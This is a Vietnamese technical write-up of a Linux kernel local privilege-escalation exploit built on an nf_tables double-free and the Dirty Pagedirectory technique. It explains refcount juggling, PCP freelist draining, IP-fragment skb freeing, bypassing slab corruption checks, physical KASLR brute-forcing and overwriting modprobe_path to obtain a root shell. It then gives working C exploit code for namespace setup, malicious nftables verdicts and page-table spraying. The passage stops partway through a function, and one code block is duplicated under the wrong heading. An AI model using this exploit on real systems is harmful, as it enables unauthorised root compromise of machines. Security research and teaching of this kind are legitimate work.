Kỹ thuật đầu tiên cần thiết cho kỹ thuật tấn công này là điều chỉnh refcount page. Refcount là một biến được sử dụng để theo dõi số lượng các tham chiếu đến một trang bộ nhớ. Mỗi khi một trang bộ nhớ được tham chiếu bởi một đối tượng khác, giá trị của "refcount" tăng lên. Ngược lại, khi một tham chiếu bị loại bỏ, giá trị của "refcount" giảm đi. Khi giải phóng một page hai lần trong kernel bằng cách sử dụng các hàm API, kernel sẽ kiểm tra refcount của page:
```cpp!
void __free_pages(struct page *page, unsigned int order)
{
/* get PageHead before we drop reference */
int head = PageHead(page);
if (put_page_testzero(page))
free_the_page(page, order);
else if (!head)
while (order-- > 0)
free_the_page(page + (1 << order), order);
}
```
Thường thì, trước khi giải phóng một page trong kernel, refcount của nó chỉ là 1 (trừ khi nó được chia sẻ hoặc có điều gì đó, khi đó refcount sẽ cao hơn). Nếu sau khi giảm refcount, nó giảm dưới 0, kernel sẽ không cho phép giải phóng page đó nữa. Tuy nhiên, trong trường hợp double-free, vẫn có cách để vượt qua điều này.
Sau khi giải phóng page lần đầu tiên, một số page con cũng sẽ được giải phóng cho đến khi order-- == 0. Nhưng sau khi giải phóng page đầu tiên, order của page sẽ được đặt thành 0. Điều này có nghĩa là trong lần giải phóng thứ hai, không có page nào sẽ được giải phóng vì order-- == -1. Sự thay đổi này của order của page sau mỗi lần giải phóng sẽ được sử dụng để làm cho các page bị double-free trở thành order 0.
Trong trường hợp double-free, khi giải phóng page lần đầu tiên, refcount sẽ giảm xuống 0 và page sẽ được giải phóng. Nhưng khi giải phóng page lần thứ hai, refcount sẽ giảm xuống -1 và page sẽ không được giải phóng vì refcount không đủ và có thể gây ra lỗi nếu kiểm tra lỗi được kích hoạt.
Để giải phóng page hai lần, trước khi giải phóng lần thứ hai, ta chỉ cần cấp phát lại page đó. Điều này sẽ khiến việc giải phóng trông giống như một việc giải phóng bình thường vì có một object trong page. object này có thể là bất kỳ object nào có kích thước tương tự, ví dụ như một slab hoặc một page table.
```cpp!
static void kref_juggling(void)
{
struct page *skb1, *pmd, *pud;
skb1 = alloc_page(GFP_KERNEL); // refcount 0 -> 1
__free_page(skb1); // refcount 1 -> 0
pmd = alloc_page(GFP_KERNEL); // refcount 0 -> 1
__free_page(skb1); // refcount 1 -> 0
pud = alloc_page(GFP_KERNEL); // refcount 0 -> 1
pr_err("[*] skb1: %px (phys: %016llx), pmd: %px (phys: %016llx), pud: %px (phys: %016llx)\n", skb1, page_to_phys(skb1), pmd, page_to_phys(pmd), pud, page_to_phys(pud));
}
```
## 4.2. Page freelist entry order 4 to order 0
Khi cấp phát qua __do_kmalloc_node() (như trong trường hợp của skb), kích thước của object được cấp phát được kiểm tra so với KMALLOC_MAX_CACHE_SIZE (kích thước tối đa cho slab-allocator). Nếu object lớn hơn giá trị này, một trong các page-allocator sẽ được sử dụng thay vì slab-allocator. Điều này hữu ích khi giải phóng các page một cách xác định như dữ liệu của skb và cấp phát các page như các page PTE bằng cùng một thuật toán và danh sách các vùng trống. Tuy nhiên, giá trị của KMALLOC_MAX_CACHE_SIZE tương đương với PAGE_SIZE * 2, có nghĩa là kmalloc sẽ sử dụng các page-allocator cho các cấp phát với order lớn hơn 1 (2 page, hoặc 8096 byte).
Một số object chúng ta muốn nhắm đến được cấp phát độc quyền bởi các page-allocator trong khi vẫn nằm trong kích thước của slab-allocator. Ví dụ, một nhà phát triển có thể sử dụng alloc_page() thay vì kmalloc(4096), vì điều này tiết kiệm chi phí quản lý. Một ví dụ cụ thể là một page PTE (hoặc bất kỳ page table nào), sử dụng các cấp phát page với order 0 (1 page, hoặc 4096 byte).
Nếu double-free một object có kích thước 4096 byte (một page với order == 0) được xử lý bởi slab-allocator, nó sẽ được đặt trong các slab caches, không phải trong page cache. Do đó, để cấp phát hai lần các page trong freelist order == 0, ta cần chuyển đổi các mục freelist order 4 (16 page) từ việc double-free của chúng ta thành các mục freelist order 0 (1 page).
Có 2 phương pháp để cấp phát các page order == 0 với các mục freelist order == 4.
### 4.2.1. Draining the PCP list
PCP-allocator (Per-CPU Page allocator) đơn giản là một tập hợp các freelist trên mỗi CPU cho buddy-allocator. Khi một trong những freelist PCP đó là rỗng, nó sẽ refill các page từ buddy-allocator.

Quá trình refill xảy ra theo nhóm với count = N/order object page. Do đó, hàm rmqueue_bulk() (được sử dụng để refill ) cấp phát count page với order order từ buddy-allocator. Khi cấp phát một page từ buddy-allocator, nó sẽ duyệt qua freelist page buddy, và nếu các mục freelist buddy có order >= order, thì nó sẽ trả lại page này cho việc refill. Nếu các mục freelist buddy có order > order, thì buddy-allocator sẽ chia page nội bộ.
Kỹ thuật tấn công của chúng ta double-free các page order==4, và cần thay chúng bằng các page order==0 từ PCP. Khi chúng ta giải phóng nó, page order==4 được thêm vào freelist page buddy. Việc cấp phát cho các page order==0 xảy ra với PCP-allocator, có các freelist riêng cho mỗi order. Tuy nhiên, cơ chế refill PCP sẽ lấy bất kỳ page buddy nào nếu nó phù hợp. Do đó, chúng ta có thể cấp phát 16 page PTE vào trong page order==4 bị double-free.
Để kích hoạt cơ chế này, phải làm rỗng freelist PCP cho CPU mục tiêu trước bằng cách spraying page allocations. Trong kỹ thuật tấn công, làm điều này bằng cách spraying (phun) PTE pages, và điều này liên quan trực tiếp đến kỹ thuật Pagedirectory Dirty. Vì chúng ta không thể biết được freelist PCP đã bị rỗng, chúng ta cần giả định rằng một trong các object được spraying là được cấp phát trong object bị double-free. Do đó, spraying các object PTE để một object PTE chiếm vị trí của một trong các page buddy bị double-free. Nếu muốn cấp phát một object PMD, spraying các object PMD,...
Số lượng object trong các freelist có thể khác nhau tùy thuộc vào hệ thống và việc sử dụng tài nguyên. Ở đây, tác giả đã sử dụng 16000 object PTE, đủ để làm rỗng freelist trong tất cả các trường hợp.
```cpp!
static int rmqueue_bulk(struct zone *zone, unsigned int order,
unsigned long count, struct list_head *list,
int migratetype, unsigned int alloc_flags)
{
unsigned long flags;
int i;
spin_lock_irqsave(&zone->lock, flags);
for (i = 0; i < count; ++i) {
struct page *page = __rmqueue(zone, order, migratetype, alloc_flags);
if (unlikely(page == NULL))
break;
list_add_tail(&page->pcp_list, list);
// [snip] set stats
}
// [snip] set stats
spin_unlock_irqrestore(&zone->lock, flags);
return i;
}
```
### 4.2.2. Race condition (obsolete)
Việc gọi hàm free() lần đầu sẽ thêm page vào freelist phù hợp và đặt order của page thành 0. Tuy nhiên, khi thực hiện một lần double-free (lần giải phóng thứ hai), page sẽ được thêm vào freelist cho order 0 vì đó là order của page đó. Như vậy, chúng ta có thể thêm các page order==4 vào freelist order==0 bằng cơ chế double-free.

Kỹ thuật này phụ thuộc vào race condition. Khi một page được giải phóng lần thứ hai mà không có việc cấp phát can thiệp (free; free; alloc; alloc), refcount của page sẽ giảm xuống dưới 0, ngăn cản việc double-free. Vì vậy, ta cần thực hiện việc di chuyển tham chiếu page (free; alloc; free; alloc). Tuy nhiên, trong lần giải phóng thứ hai, order sẽ không phải là 0 vì việc cấp phát sẽ đặt order về mức ban đầu (ví dụ, order 4). Do đó, việc chuyển đổi page thành order 0 dường như không thể, nên sẽ có 2 trường hợp:
- Không có giải phóng nào cả (refcount = -1)
- Giữ nguyên order ban đầu của nó (kịch bản lý tưởng).
=> Race-condition
Khi một page được giải phóng, order của nó được truyền theo giá trị. Do đó, nếu page bị double-free được cấp phát trong lúc giải phóng lần thứ hai, nó sẽ được cấp phát vào freelist order 0 và refcount được tăng lên từ -1 thành 0. Mặc dù cửa sổ cạnh tranh khá hẹp, chỉ bao gồm một vài cuộc gọi hàm, hàm free_large_kmalloc() sẽ in ra một cảnh báo kernel tới dmesg nếu order là 0 do double-free. Thông thường, thời gian này chỉ kéo dài 1ms, nhưng trên các hệ thống ảo như QEMU VMs với các cổng serial interface, thời gian này có thể lên đến 50ms-300ms đủ thời gian để tận dụng.
Bây giờ khi chúng ta đã thành công trong việc gắn page vào freelist order 0, chúng ta có thể ghi đè lên nó với bất kỳ cấp phát page order 0 nào. Ngoài ra, chúng ta cũng có thể chuyển đổi tham chiếu page đầu tiên (nhận được từ việc giải phóng đầu tiên) bằng cách giải phóng object đó và cấp phát lại nó như một object mới, vì order của page sẽ vẫn được giữ nguyên.
## 4.3. Freeing skb instantly without UDP/TCP stacks
Khi tránh kiểm tra lỗi tổn thất freelist, có thể chúng ta muốn giải phóng một skb cụ thể trực tiếp theo ý muốn vào bất kỳ thời điểm tùy ý nào, để kỹ thuật tấn công của chúng ta có thể hoạt động một cách nhanh chóng, đồng bộ với ít tỷ lệ bị hỏng hóc.
Tính năng phân mảnh packet IP và các hàng đợi phân mảnh của nó có thể giúp để thực hiện điều này. Khi một packet IP đang chờ để nhận tất cả các phân mảnh của nó, các phân mảnh được đặt vào một hàng đợi phân mảnh IP (red-black tree). Khi các phân mảnh nhận được có độ dài mong đợi của packet IP đầy đủ, packet sẽ được lắp ráp lại trên CPU mà phần phân mảnh cuối cùng đến từ. Hàng đợi phân mảnh IP này có một thời gian chờ là ipfrag_time giây, sau đó sẽ giải phóng tất cả các skb. Việc thay đổi thời gian chờ này được đề cập trong phần tiếp theo.
Nếu chúng ta muốn chuyển đổi freelist của mục freelist của skb1 từ CPU 0 sang CPU 1, chúng ta sẽ cấp phát nó như là một phân mảnh IP cho một hàng đợi phân mảnh IP mới trên CPU 0. Sau đó, chúng ta gửi skb2 - phân mảnh IP cuối cùng cho hàng đợi trên CPU 1. Điều này khiến skb1 được giải phóng trên CPU 1.
Hành vi tương tự này có thể được sử dụng để giải phóng các skb theo ý muốn, mà không cần sử dụng mã UDP/TCP. Điều này có lợi cho kỹ thuật tấn công, vì packet double-free bị hỏng khi nó được giải phóng lần đầu tiên. Nếu chúng ta sử dụng mã UDP, kernel sẽ gặp sự cố.

Kích thước cuối cùng của hàng đợi phân mảnh IP được xác định bởi skb->len, mà sau khi giải phóng là hoàn toàn ngẫu nhiên do việc chồng lấn với s->random của slabcache. Điều này có nghĩa là thực tế là không thể hoàn thành hàng đợi phân mảnh IP một cách đồng nhất vì nó sẽ sử dụng một độ dài dự kiến ngẫu nhiên.
Do đó thay vì hoàn thành hàng đợi phân mảnh IP có thể khiến nó gây ra một lỗi bằng cách sử dụng đầu vào không hợp lệ. Điều này sẽ làm cho tất cả các skb trong hàng đợi phân mảnh IP được giải phóng ngay lập tức trên CPU của skb bị lỗi, bất kể skb->len.
### 4.3.1. Modifying skb max lifetime
Kỹ thuật tấn công này có thể tùy chỉnh các skb tồn tại ngắn hơn hoặc lâu hơn, tùy thuộc vào trường hợp sử dụng. Kernel cung cấp một interface userland để cấu hình thời gian chờ hàng đợi phân mảnh IP qua /proc/sys/net/ipv4/ipfrag_time. Điều này cụ thể cho mỗi không gian mạng, và do đó có thể được thiết lập như một người dùng không đặc quyền trong không gian mạng của họ.
Khi sử dụng các phân mảnh IP để lắp ráp lại một packet IP bị phân mảnh, kernel sẽ chờ ipfrag_time giây trước khi phát ra timeout. Nếu đặt ipfrag_time thành 999999 giây, kernel sẽ để các skb phân mảnh tồn tại trong 999999 giây. Ngược lại, cũng có thể đặt nó thành 1 giây nếu muốn nhanh chóng cấp phát và giải phóng một skb trên một CPU ngẫu nhiên.
```cpp!
static void set_ipfrag_time(unsigned int seconds)
{
int fd;
fd = open("/proc/sys/net/ipv4/ipfrag_time", O_WRONLY);
if (fd < 0) {
perror("open$ipfrag_time");
exit(1);
}
dprintf(fd, "%u\n", seconds);
close(fd);
}
```
## 4.4. Bypassing KernelCTF skb corruption checks
Con trỏ tiếp theo của freelist chồng lấn với skb->len do skbuff_head_cache->offset == 0x70. Điều này có nghĩa là con trỏ mục tiếp theo/trước của freelist được lưu trữ tại sk_buff+0x70, mà ngẫu nhiên trùng với skb->len. s->offset thường được đặt thành một nửa kích thước slab bởi các nhà phát triển kernel để tránh việc ghi ngoài phạm vi có thể ghi đè lên các con trỏ freelist, điều này trong quá khứ đã dẫn đến việc nâng cao đặc quyền bằng cách sử dụng các lỗ hổng OOB.
Sau khi giải phóng skb lần đầu tiên, trường skb->len bị ghi đè bằng một phần giá trị con trỏ tiếp theo. Trong mã dẫn đến việc giải phóng skb lần thứ hai, trường skb->len được sửa đổi do phân tích packet. Do đó, con trỏ tiếp theo của freelist bị hỏng ngay trước khi giải phóng skb lần thứ hai.
Khi cố gắng cấp phát mục tiếp theo của freelist của skb lần giải phóng đầu tiên bằng slab_alloc_node(), con trỏ tiếp theo của freelist trong object được giải phóng được đánh dấu là bị hỏng trong các lần call được gọi bởi freelist_ptr_decode():
```cpp!
static inline bool freelist_pointer_corrupted(struct slab *slab, freeptr_t ptr,
void *decoded)
{
#ifdef CONFIG_SLAB_VIRTUAL
/*
* If the freepointer decodes to 0, use 0 as the slab_base so that
* the check below always passes (0 & slab->align_mask == 0).
*/
unsigned long slab_base = decoded ? (unsigned long)slab_to_virt(slab) : 0;
/*
* This verifies that the SLUB freepointer does not point outside the
* slab. Since at that point we can basically do it for free, it also
* checks that the pointer alignment looks vaguely sane.
* However, we probably don't want the cost of a proper division here,
* so instead we just do a cheap check whether the bottom bits that are
* clear in the size are also clear in the pointer.
* So for kmalloc-32, it does a perfect alignment check, but for
* kmalloc-192, it just checks that the pointer is a multiple of 32.
* This should probably be reconsidered - is this a good tradeoff, or
* should that part be thrown out, or do we want a proper accurate
* alignment check (and can we make it work with acceptable performance
* cost compared to the security improvement - probably not)?
*/
return CHECK_DATA_CORRUPTION(
((unsigned long)decoded & slab->align_mask) != slab_base,
"bad freeptr (encoded %lx, ptr %p, base %lx, mask %lx",
ptr.v, decoded, slab_base, slab->align_mask);
#else
return false;
#endif
}
```
Khi chúng ta giải phóng một object trên đỉnh của object có một mục tiếp theo bị hỏng, biện pháp ngăn chặn không kiểm tra xem object trước có một con trỏ tiếp theo bị hỏng hay không. Điều này có nghĩa là làm cho con trỏ tiếp theo không hợp lệ bằng cách giải phóng một skb khác và sau đó cấp phát lại skb đó với dữ liệu của skb cũ. Điều này về cơ bản vô hiệu hóa skb gốc bị hỏng, trong khi vẫn có thể cấp phát kép dữ liệu skb.

## 4.5. Dirty Pagedirectory
Dirty Pagetable là một kỹ thuật khai thác được sử dụng để tận dụng các lỗ hổng dựa trên heap như use-after-free, double free và OOB. Ý tưởng là tạo ra lỗi double-free trong freelist giống như các trang PTE và double-allocate chúng qua các tiến trình như sudo và exploit để tận dụng để có quyền root. Phương pháp PMD+PTE đã được xác nhận hoạt động và thường được coi là sự lựa chọn tốt nhất. Các lựa chọn khác như PUD+PMD cũng đã được xác nhận hoạt động, và có thể PGD+PUD cũng hoạt động. Sự khác biệt duy nhất là số page được sao chép đồng thời: 1GiB với PTE+PMD, 512GiB với PUD+PMD, và có thể 256TiB với PGD+PUD (nếu điều này là có thể). Điều này ảnh hưởng đến việc sử dụng bộ nhớ, và hệ thống có thể trở nên OOM nếu có quá nhiều bộ nhớ được sao chép.
Kỹ thuật Dirty Pagedirectory cho phép đọc/ghi không giới hạn và ổn định vào bất kỳ page bộ nhớ nào dựa trên địa chỉ vật lý. Nó có thể bypass quyền hạn bằng cách đặt các cờ quyền hạn của riêng nó. Điều này cho phép exploit ghi vào các page chỉ có quyền đọc như các page chứa modprobe_path.
Kỹ thuật này khá đơn giản: cấp phát một Page Upper Directory (PUD) và Page Middle Directory (PMD) tới cùng một địa chỉ kernel bằng một lỗi như double-free. Các VMA(Virtual Memory Area) nên riêng biệt, để tránh xung đột (nghĩa là không cấp phát PMD trong khu vực của PUD). Sau đó, ghi một địa chỉ vào page trong phạm vi của PMD và đọc địa chỉ trong page tương ứng của phạm vi PUD.

Biến modprobe_path được lưu trữ trong một page tại PFN / địa chỉ vật lý 0xCAFE1460. Chúng ta áp dụng Dirty Pagedirectory: cấp phát kép page PUD và page PMD thông qua mmap cho các phạm vi VMA của người dùng tương ứng 0x8000000000 - 0x10000000000 (mm->pgd[1]) và 0x40000000 - 0x80000000 (mm->pgd[0][1]).
Điều này có nghĩa là mm->pgd[1][x][y] luôn bằng mm->pgd[0][1][x][y] vì cả hai mm->pgd[1] và mm->pgd[0][1] đều tham chiếu đến địa chỉ / object được cấp phát kép. Quan sát làm thế nào mm->pgd[0][1][x][y] là một page userland, và mm->pgd[1][x][y] là một PTE. Điều này có nghĩa là khu vực PUD dành riêng sẽ diễn giải một page userland từ khu vực PMD như một PTE.
Bây giờ, để đọc địa chỉ page vật lý 0xCAFE1460, ta đặt giá trị PTE của vùng PUD đầu tiên thành 0x80000000CAFE1867 (đã thêm các cờ PTE) bằng cách ghi giá trị đó vào địa chỉ 0x40000000 (còn gọi là địa chỉ userland cho page @ mm->pgd[0][1][0][0]+0x0). Điều này có nghĩa là chúng ta đã ghi giá trị đó vào địa chỉ PTE cho page @ mm->pgd[1][0][0]+0x0, vì mm->pgd[1][0][0] == mm->pgd[0][1][0][0]. Bây giờ, chúng ta có thể giải thích giá trị PTE gian lận đó bằng cách đọc page mm->pgd[1][0][0][0] (chỉ số cuối cùng là 0 vì chúng ta đã ghi nó vào 8 byte đầu của PTE: chú ý 0x0 ở trên). Điều này tương đương với page userland 0x8000000000.
Do PTE đã thay đổi từ không gian người dùng, chúng ta cần xóa TLB vì TLB sẽ chứa các bản ghi lỗi thời. Sau khi làm xong điều đó, printf('%s', 0x8000000460); nên in ra /sbin/modprobe hoặc bất kỳ giá trị nào của modprobe_path. Bây giờ ta có thể ghi đè lên modprobe_path bằng cách sử dụng strcpy((char*)0x8000000460, "/tmp/privesc.sh"); (có KMOD_PATH_LEN byte padding) và gọi một root shell. Điều này không đòi hỏi xóa TLB vì PTE chính nó không thay đổi khi ghi vào địa chỉ.
Chúng ta đã thiết lập các cờ đọc / ghi trong giá trị PTE 0x80000000CAFE1867. Lưu ý 0x8 trong địa chỉ ảo 0x8000000460 và giá trị PTE 0x80000000CAFE1867 không liên quan gì đến nhau: trong giá trị PTE, nó là một cờ được bật, và địa chỉ ảo chỉ đơn giản là bắt đầu với 0x8.
Tóm lại là: ghi các giá trị PTE vào các trang vùng người dùng trong phạm vi VMA 0x40000000 - 0x80000000 và hủy đăng ký tham chiếu chúng bằng cách đọc và ghi các trang vùng người dùng tương ứng trong phạm vi VMA 0x8000000000 - 0x10000000000.
## 4.6. Spraying pagetables for Dirty PD
Phần Dirty Pagedirectory ở trên đề cập đến PUD+PMD, nhưng POC lại sử dụng PMD+PTE. Điều này liên quan đến việc exploit lấy dữ liệu từ danh sách PCP để cấp phát một PTE vào địa chỉ đã được giải phóng hai lần.
Đầu tiên, page table được cấp phát bởi kernel theo yêu cầu, vì vậy nếu mmap() (ánh xạ một phần của một file hoặc một thiết bị vào vùng nhớ của tiến trình) một khu vực bộ nhớ ảo thì sẽ không có cấp phát diễn ra. Chỉ khi chúng ta thực sự đọc / ghi vào VMA này thì nó mới cấp phát các page table cần thiết cho page được truy cập. Ví dụ khi cấp phát một PUD thì PMD, PTE và page userland sẽ được cấp phát. Khi cấp phát một PTE, page userland đích cũng sẽ được cấp phát.
Có thể spray các cấp page table cụ thể bằng cách cấp phát các bậc cha trước, vì một bậc cha (ví dụ PMD) chứa 512 con (PTE). Vì vậy, nếu chúng ta muốn spray 4096 PTE, chúng ta sẽ cần cấp phát trước 8 (4096/512 = 8) PMD, trước khi cấp phát các PTE.
Nếu chúng ta spray PMD, các PTE cũng sẽ được cấp phát - từ cùng một danh sách freelist. Điều này có nghĩa là 50% spray là PMD và 50% là PTE. Nếu chúng ta spray PUD, nó sẽ là 33% PUD, 33% PMD và 33% PTE. Do đó, nếu chúng ta spray PTE, nó sẽ là 100% PTE vì chúng ta không làm bất kỳ cấp phát nào khác. Vì điều này, chúng ta sử dụng PMD+PTE trong exploit và không sử dụng PUD+PMD, và việc spray PMD có nghĩa là ổn định giảm đi 50%.
Lưu ý rằng các page userland chính thức được cấp phát từ một danh sách freelist khác (migratetype 0, không phải migratetype 1).
## 4.7. TLB Flushing
TLB flushing là việc loại bỏ hoặc vô hiệu hóa tất cả các mục nhập trong bộ đệm tìm kiếm bảng dịch (bộ đệm địa chỉ ảo sang địa chỉ vật lý). Để quét các địa chỉ một cách chính xác bằng kỹ thuật Dirty Pagedirectory,cần sử dụng kỹ thuật TLB flushing thỏa mãn các yêu cầu sau:
● Không sửa đổi các page table tiến trình hiện có
● Phải hoạt động 100% theo thời gian
● Phải nhanh chóng
● Có thể kích hoạt từ userland
● Phải hoạt động bất kể PCID
Khi cấp phát các khu vực bộ nhớ PMD và PTE, nên đánh dấu chúng là sharing, sau đó sử dụng hàm fork() để tạo một tiến trình con, sau đó munmap() chúng trong tiến trình con để flush TLB, và cuối cùng là khiến tiến trình con sleep(để tránh gây ra sự cố nếu exploit không ổn định).
```cpp!
static void flush_tlb(void *addr, size_t len)
{
short *status;
status = mmap(NULL, sizeof(short), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*status = FLUSH_STAT_INPROGRESS;
if (fork() == 0)
{
munmap(addr, len);
*status = FLUSH_STAT_DONE;
PRINTF_VERBOSE("[*] flush tlb thread gonna sleep\n");
sleep(9999);
}
SPINLOCK(*status == FLUSH_STAT_INPROGRESS);
munmap(status, sizeof(short));
}
```
Cơ chế khóa ngăn chặn tiến trình cha tiếp tục thực thi trước khi tiến trình con đã flush TLB. Có thể giả sử rằng nó có thể được loại bỏ nếu tiến trình con thực hiện một quá trình thoát thay vì sleep, vì tiến trình cha có thể giám sát trạng thái của tiến trình con.
Phương pháp flush TLB này đã hoạt động 100% trong việc làm mới các page table và các thư mục page. Nó đã được thử nghiệm trên một CPU AMD mới nhất và trong các máy ảo QEMU.
## 4.8. Dealing with physical KASLR
Không gian địa chỉ vật lý ngẫu nhiên hóa của Kernel (Physical KASLR) là việc ngẫu nhiên hóa địa chỉ vật lý của kernel Linux. Thông thường, điều này không quan trọng vì gần như tất cả các kỹ thuật tấn công đều hoạt động với bộ nhớ ảo (và do đó phải xử lý với KASLR ảo).
Sử dụng Dirty Pagedirectory - chúng ta cần biết địa chỉ vật lý của bộ nhớ mà chúng ta muốn đọc/ghi.
### 4.8.1. Getting the physical kernel base address
Điều này có nghĩa là chúng ta sẽ cần thử từng giá trị trong toàn bộ phạm vi bộ nhớ vật lý để tìm địa chỉ vật lý mục tiêu.
Bộ nhớ vật lý đề cập đến tất cả các loại địa chỉ bộ nhớ vật lý có thể sử dụng: ví dụ, trên một laptop có thanh RAM 16GiB + 1GiB MMIO tích hợp = tổng cộng 17GiB bộ nhớ vật lý trên thiết bị. Tuy nhiên, một trong những điểm lạ của kernel Linux là địa chỉ vật lý của kernel phải được căn chỉnh theo CONFIG_PHYSICAL_START (tức là 0x100'0000 còn được gọi là 16MiB) nếu CONFIG_RELOCATABLE=y. Nếu CONFIG_RELOCATABLE=n, địa chỉ vật lý của kernel sẽ nằm ngay tại CONFIG_PHYSICAL_START. Đối với kỹ thuật này, chúng ta giả sử CONFIG_RELOCATABLE=y, vì không có lý do gì phải thử bruteforce KASLR vật lý nếu chúng ta biết địa chỉ.
Giả sử thiết bị mục tiêu có 8GiB bộ nhớ vật lý, điều này có nghĩa là chúng ta có thể giảm phạm vi tìm kiếm của mình xuống còn 8GiB / 16MiB = 512 địa chỉ vật lý có thể cho kernel vì chúng ta biết rằng base address phải được căn chỉnh theo số byte CONFIG_PHYSICAL_START. Ưu điểm là chỉ cần kiểm tra một số byte đầu tiên của page đầu tiên của 512 địa chỉ để kiểm tra xem page đó có phải là kernel base không.
Chúng ta có thể xác định địa chỉ vật lý của kernel bằng cách thử từng địa chỉ vật lý. Dirty Pagedirectory cho phép đọc/ghi không giới hạn của toàn bộ page, và do đó cho phép chúng ta đọc 4096 byte cho mỗi địa chỉ vật lý (page), và 512 địa chỉ page cho mỗi ghi đè PTE. Điều này chỉ đòi hỏi chúng ta phải ghi đè lên PTE một lần để xác định địa chỉ vật lý của kernel nếu máy có 8GiB bộ nhớ.
### 4.8.2. Tìm địa chỉ vật lý mục tiêu
Khi tìm thấy địa chỉ vật lý, ta có thể xác định địa chỉ mục tiêu cuối cùng của hoạt động đọc/ghi bằng cách sử dụng các độ lệch cố định dựa trên cơ sở vật lý của kernel hoặc bằng cách quét khu vực bộ nhớ kernel vật lý để tìm các mẫu dữ liệu của mục tiêu.
Kỹ thuật quét dữ liệu đòi hỏi khoảng 1 + 80MiB/2MiB ~= 40 việc ghi đè PTE trên một hệ thống có 8GiB bộ nhớ.
Nếu có quyền truy cập vào Dirty Pagedirectory và định dạng của dữ liệu mục tiêu là duy nhất (như phần padding của modprobe_path), phương pháp quét mẫu dữ liệu có thể tốt hơn do tương thích rộng rãi trên các phiên bản kernel khác nhau, và đặc biệt là nếu không biết các độ lệch khi biên dịch exploit.
# 5. Các bước khai thác
## 5.1. Setup môi trường
### 5.1.1 Namespace
Để khai thác LPE, user namespaces cần có quyền truy cập vào nf_tables. Điều này được kích hoạt mặc định trong các phiên bản Ubuntu, Debian. Có thể kiểm tra bằng sysctl kernel.unprivileged_userns_clone, kết quả 1 nghĩa là đang kích hoạt
Tạo user và network namespace sử dụng để khai thác
```cpp!
static void do_unshare()
{
int retv;
printf("[*] creating user namespace (CLONE_NEWUSER)...\n");
// do unshare seperately to make debugging easier
retv = unshare(CLONE_NEWUSER);
if (retv == -1) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
printf("[*] creating network namespace (CLONE_NEWNET)...\n");
retv = unshare(CLONE_NEWNET);
if (retv == -1)
{
perror("unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
}
```
Cấp quyền root truy cập namespace bằng cách mapping UID,GID
```cpp!
static void do_unshare()
{
int retv;
printf("[*] creating user namespace (CLONE_NEWUSER)...\n");
// do unshare seperately to make debugging easier
retv = unshare(CLONE_NEWUSER);
if (retv == -1) {
perror("unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
printf("[*] creating network namespace (CLONE_NEWNET)...\n");
retv = unshare(CLONE_NEWNET);
if (retv == -1)
{
perror("unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
}
```
### 5.1.2. Nftables
Set up hooks/rules với malicious verdict
```cpp!
// set rule verdict to arbitrary value
static void add_set_verdict(struct nftnl_rule *r, uint32_t val)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("immediate");
if (e == NULL) {
perror("expr immediate");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT);
nftnl_expr_set_u32(e, NFTNL_EXPR_IMM_VERDICT, val);
nftnl_rule_add_expr(r, e);
}
```
### 5.1.3. Pre-allocations
Trước khi bắt đầu phần khai thác thực tế, cần cấp phát trước một số object để giảm hoặc loại bỏ các hoạt động không cần thiết của bộ cấp phát, vì có thể có những khu vực nhạy cảm trong quá trình khai thác mà nó có thể thất bại nếu có quá nhiều hoạt động ở background.
CONFIG_SEC_BEFORE_STORM chờ tất cả cấp phát ở chế độ nền kết thúc, trong trường hợp một số cấp phát đang diễn ra trên các CPU. Điều này làm chậm đáng kể quá trình khai thác (1 giây -> 11 giây), nhưng chắc chắn sẽ tăng độ ổn định khi khai thác trên các hệ thống có thể có nhiều hoạt động nhiễu.
```cpp!
shell_stdout_fd)
{
unsigned long long *pte_area;
void *_pmd_area;
void *pmd_kernel_area;
void *pmd_data_area;
struct ip df_ip_header = {
.ip_v = 4,
.ip_hl = 5,
.ip_tos = 0,
.ip_len = 0xDEAD,
.ip_id = 0xDEAD,
.ip_off = 0xDEAD,
.ip_ttl = 128,
.ip_p = 70,
.ip_src.s_addr = inet_addr("1.1.1.1"),
.ip_dst.s_addr = inet_addr("255.255.255.255"),
};
char modprobe_path[KMOD_PATH_LEN] = { '\x00' };
get_modprobe_path(modprobe_path, KMOD_PATH_LEN);
printf("[+] running normal privesc\n");
PRINTF_VERBOSE("[*] doing first useless allocs to setup caching and stuff...\n");
pin_cpu(0);
// allocate PUD (and a PMD+PTE) for PMD
mmap((void*)PTI_TO_VIRT(1, 0, 0, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
*(unsigned long long*)PTI_TO_VIRT(1, 0, 0, 0, 0) = 0xDEADBEEF;
// pre-register sprayed PTEs, with 0x1000 * 2, so 2 PTEs fit inside when overlapping with PMD
// needs to be minimal since VMA registration costs memory
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT; i++)
{
void *retv = mmap((void*)PTI_TO_VIRT(2, 0, i, 0, 0), 0x2000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (retv == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
}
// pre-allocate PMDs for sprayed PTEs
// PTE_SPRAY_AMOUNT / 512 = PMD_SPRAY_AMOUNT: PMD contains 512 PTE children
for (unsigned long long i=0; i < CONFIG_PTE_SPRAY_AMOUNT / 512; i++)
*(char*)PTI_TO_VIRT(2, i, 0, 0, 0) = 0x41;
// these use different PTEs but the same PMD
_pmd_area = mmap((void*)PTI_TO_VIRT(1, 1, 0, 0, 0), 0x400000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
pmd_kernel_area = _pmd_area;
pmd_data_area = _pmd_area + 0x200000;
PRINTF_VERBOSE("[*] allocated VMAs for process:\n - pte_area: ?\n - _pmd_area: %p\n - modprobe_path: '%s' @ %p\n", _pmd_area, modprobe_path, modprobe_path);
populate_sockets();
set_ipfrag_time(1);
// cause socket/networking-related objects to be allocated
df_ip_header.ip_id = 0x1336;
df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 8 + 4000;
df_ip_header.ip_off = ntohs((8 >> 3) | 0x2000);
